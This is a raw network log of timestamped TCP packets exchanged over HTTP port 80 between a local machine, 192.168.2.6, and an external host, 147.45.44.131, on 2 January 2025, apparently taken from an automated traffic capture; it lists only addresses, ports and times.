Jan 2, 2025 19:14:17.553716898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553802013 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553823948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553828955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553833961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553848982 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553874016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553879976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553888083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553898096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553904057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.553911924 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.553925037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554383993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554389954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554397106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554408073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554415941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554421902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554429054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554434061 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554435015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554447889 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554449081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554454088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554461002 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554466009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554475069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554476976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554486036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554491997 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554497004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554502964 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554507971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554513931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554518938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554521084 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554533005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554538012 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554538012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554548025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554553986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554559946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554577112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554579020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554579020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554583073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554589987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554601908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554614067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554617882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554629087 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554650068 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554832935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554836988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554842949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554853916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554858923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554872036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554877996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554878950 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.554884911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.554913998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.555250883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555258036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555265903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555270910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555278063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555284023 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555291891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555293083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.555293083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.555326939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.555926085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.555962086 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556071043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556077003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556083918 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556088924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556094885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556099892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556106091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556119919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556126118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556130886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556138039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556149960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556157112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556164026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556165934 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556175947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556180954 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556181908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556189060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556200981 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556207895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556212902 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556214094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556216002 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556281090 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556281090 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556299925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556304932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556318045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556329012 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556334019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556340933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556346893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556351900 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556353092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556391954 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556408882 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556410074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556550980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556555986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556561947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556574106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556607008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556612015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556618929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556623936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556653976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556654930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556735039 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556735039 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556760073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556766033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556782007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556807995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556819916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556827068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556829929 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556835890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556849003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556854010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556859970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556864977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556868076 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556868076 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556871891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556885004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556890965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556895971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556901932 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556902885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.556901932 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.556948900 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557044029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557050943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557055950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557104111 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557147980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557153940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557159901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557173014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557178020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557183981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557183981 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557190895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557198048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557203054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557241917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557241917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557324886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557338953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557347059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557351112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557356119 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557362080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557367086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557370901 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557370901 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557373047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557379007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557384968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557414055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557423115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557423115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557512045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557517052 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557529926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557537079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557542086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557548046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557560921 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557605982 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.557677031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557683945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.557712078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.558186054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558192015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558198929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558211088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558216095 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558258057 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.558269978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558275938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558281898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558288097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558293104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558298111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558304071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558307886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558319092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558326006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558326960 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.558330059 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.558358908 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.560862064 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.596345901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596354008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596359968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596493006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596498966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596504927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596529961 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.596638918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596652985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.596682072 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.598526955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598551035 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.598670959 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598675966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598681927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598699093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598704100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598710060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598716021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598721027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.598757982 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.599349022 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.612899065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.612905025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.612910986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.612967968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.612974882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.612981081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.612992048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.612998009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613013983 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.613046885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613079071 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.613101006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613106966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613112926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613118887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613236904 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613241911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613250017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613255024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613285065 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.613698006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613805056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613810062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613811970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.613816023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613828897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613836050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613842964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613847971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613893986 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.613893986 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.613913059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.613970995 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615261078 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615282059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615288019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615298986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615303993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615309954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615323067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615335941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615340948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615346909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615351915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615358114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615362883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615367889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615391970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615479946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615494013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615499973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615504980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615509987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615515947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615521908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615526915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615530014 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615533113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615539074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615545034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615555048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615556955 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615561962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615567923 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615591049 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615645885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615658998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615664959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615670919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615677118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615681887 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615685940 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615689039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615695953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615701914 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615837097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615843058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615849972 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615854979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615860939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615865946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615871906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615876913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615880966 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615884066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615890980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615900993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615904093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615909100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.615967035 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.615983963 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616239071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616245031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616251945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616297960 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616297960 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616297960 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616309881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616316080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616322041 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616327047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616333008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616338015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616388083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616388083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616496086 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.616525888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616532087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.616538048 CET	80	49728	147.45.44.131	192.168.2.6
